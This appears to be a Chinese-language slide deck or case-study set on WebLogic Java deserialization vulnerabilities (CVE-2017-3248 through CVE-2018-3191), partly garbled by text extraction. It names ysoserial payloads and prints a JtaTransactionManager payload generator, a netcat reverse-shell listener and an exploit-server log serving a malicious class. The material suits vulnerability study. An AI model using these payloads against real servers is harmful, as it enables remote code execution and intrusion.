invoke0:-1, Nativ ► 1. com.bea.cie.bsu.fr\_5.3.1.0.jar invoke:62, Native invoke:43, Deleg invoke:483, Meth com.bea.cie.comdev.es 6.1.3.0.jar library root invokeReadResol ▶ | com.bea.cie.comdev.fr 6.1.3.0.jar library root com.bea.cie.comdev.it 6.1.3.0.jar library root ▶ Lacom.bea.cie.comdev.ja 6.1.3.0.jar library root MarshalledObject readOrdinaryOb readObject0:135 🔯 "ExecuteThread: '1' for queue: 'weblogic.socket.Muxer'"@12,732 in group "Thread Group for Q. readObject:371, readObject:67, In read:39, Inbound

```
ByteArrayInputStream bin = new ByteArrayInputStream(this.objBytes)
                                                        ObjectInputStream in = new ObjectInputStream(bin)
                                                                 →" Wariables
                                                                      ▶ ■ this = {MarshalledObject@13005
                                                                      ➤ oo this.objBytes = {byte[5198]@13008}
```





## Case-Study 4: CVE-2017-3248

#### • 原理

✓序列化一个 RemoteObjectInvocationHandler,该 RemoteObjectInvocationHandler使用UnicastRef建立到远端的 TCP 连接 获取RMI registry

#### • 利用工具

- ✓ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
- ✓ Payload: JRMPClient

• RemoteObjectInvocationHandler 继承了RemoteObject executeCall:245, StreamRemoteCall (sun.rmi.transport) invoke:379, UnicastRef (sun.rmi.server) dirty:-1, DGCImpl\_Stub (sun.rmi.transport) makeDirtyCall:361, DGCClient\$EndpointEntry (sun.rmi.transport)

registerRefs:303, DGCClient\$EndpointE registerRefs:139, DGCClient (sun.rmi.tra read:312, LiveRef (sun.rmi.transport) readExternal:493, UnicastRef (sun.rmi.se readObject:455, RemoteObject (java.rm invoke0:-1, NativeMethodAccessorImp invoke:62, NativeMethodAccessorImpl invoke:43, DelegatingMethodAccessorI invoke:483, Method (java.lang.reflect)

```
public void executeCall() throws Exception {
    DGCAckHandler var2 = null;

    byte var1;
.....
    switch(var1) {
    case 1:
        return;
    case 2:
    Object var14;
    try {
        var14 = this.in.readObject();
    } catch (Exception vario) {
        throw new UnmarshalException("Error unmarshaling return", var10);
    }
}
```

```
public interface Registry extends Remote {
    /** Well known port for registry. */
    public static final int REGISTRY_PORT = 1099;
```

```
protected RemoteObject(RemoteRef newref) {
    ref = newref;
}
```

```
public class RemoteObjectInvocationHandler
extends RemoteObject
implements InvocationHandler
{
```

```
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
```

```
public RemoteObjectInvocationHandler(RemoteRef ref) {
    super(ref);
    if (ref == null) {
        throw new NullPointerException();
    }
}
```

- remoteObject.ref = (UnicastRef)ref
- 调用栈
  - ✔Registry.readObject() (第一次反序列化)-> ······ -> remoteObject.readObject() ->ref.readExternal() ->LiveRef.read() ->·····> ref.invoke(RemoteCall) -> sun.rmi.transport.StreamRemoteCall::

executeCall()(第二次序列化 public void executeCall() throws Exception {

```
this.in.readObject()
.....}
```

```
public void executeCall() throws Exception {
    DGCAckHandler var2 = null;

    byte var1;

    ......

    switch(var1) {
    case 1:
        return;
    case 2:
        Object var14;

        try {
        var14 = this.in.readObject();
    } catch (Exception var10) {
        throw new UnmarshalException("Error unmarshaling return", var10);
}
```

## Case-Study 5: CVE-2018-2628

- 原理
  - ✓为了bypass CVE-2017-3248
  - ✓过程同case 4

```
public interface Activator extends Remote {

/**

* Activate the object associated with the activation identifier,

* (code)id(/code). If the activator knows the object to be active

* already, and (code)force(/code) is false, the stub with a

* "live" reference is returned immediately to the caller;

* otherwise, if the activator does not know that corresponding

* the remote object is active, the activator uses the activation

* descriptor information (previously registered) to determine the

* group (VM) in which the object should be activated. If an
```

### Case-Study 6: CVE-2018-2893

- CVE-2017-3248 CVE-2018-2628 的补丁没有修复完善导致的绕过
- Payload
   ✓ weblogic.jms.common.StreamMessageImpl
   ✓ ......
- 工具: ✓ysoserial-cve-2018-2893.jar

## Case-Study 7: CVE-2018-3245

- CVE-2018-2893 的补丁没有修复完善导致的绕过
- 工具:
  - √ysoserial-cve-2018-3245.jar

## Case-Study 8: CVE-2018-3191

• com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager 这个类在进行反序列化的时候会触发 JNDI 查询

#### • 工具:

- ✓ weblogic-spring-jndi-10.3.6.0.jar
- ✓ weblogic-spring-jndi-12.2.1.3.jar

#### • 参考:

- √https://github.com/zerothoughts/jndipoc
- √http://www.cnblogs.com/jiangxinnju/p/5697050.html

```
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
   ois.defaultReadObject();
   this.jndiTemplate = new JndiTemplate();
   this.initUserTransactionAndTransactionManager();
   this.initTransactionSynchronizationRegistry();
}
```

#### • this.userTransactionName 可控

```
public void setUserTransactionName
(String userTransactionName) {
    this.userTransactionName = userTransactionName;
}
```

```
import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;
  import java.io.ObjectOutputStream;
  import java.io.PrintStream;
  public class GeneratePayload
    public static void main(String[] args)
      throws Exception
      if (args.length != 1)
        System.err.println("java -jar weblogic-spring-jndi.jar <jndi_address>");
        System.exit(-1);
10
      String jndiAddress = args[0];
13
      JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
      jtaTransactionManager.setUserTransactionName(jndiAddress);
15
      PrintStream out = System.out;
      ObjectOutputStream objOut = new ObjectOutputStream(out);
      objOut.writeObject(jtaTransactionManager);
```

#### • 注意:

• ExploitObject.class运行于服务器侧,编译需要java版本适合(测试环境 jdk1.6.0 45)

```
D:\java_workspace\ExploitObject\src>"c:\Program Files\Java\jdk1.6.0_45\bin\javac.exe" ExploitObject.java
```

```
D:\java_workspace\ExploitClient>nc -lvp 4444
listening on [any] 4444 ...
connect to [211.145.40.49] from DESKTOP-HQG38CJ [211.145.40.49] 11926
```

```
O:\java_workspace\ExploitClient>java ExploitClient 211.145.40.49 1099
Starting HTTP server
Creating RMI Registry
new http request from /211.145.40.49:10451 /ExploitObject.class
new http request from /211.145.40.49:10661 /ExploitObject.class
new http request from /211.145.40.49:11099 /ExploitObject.class
new http request from /211.145.40.49:11597 /ExploitObject.class
new http request from /211.145.40.49:11925 /ExploitObject.class
```

## 参考:

- https://paper.seebug.org/312/
- https://paper.tuisec.win/detail/dc4561a322b87f4
- https://github.com/zerothoughts/springjndi/blob/master/client/src/main/java/ExploitClient.java
- https://paper.seebug.org/728/
- https://paper.seebug.org/584/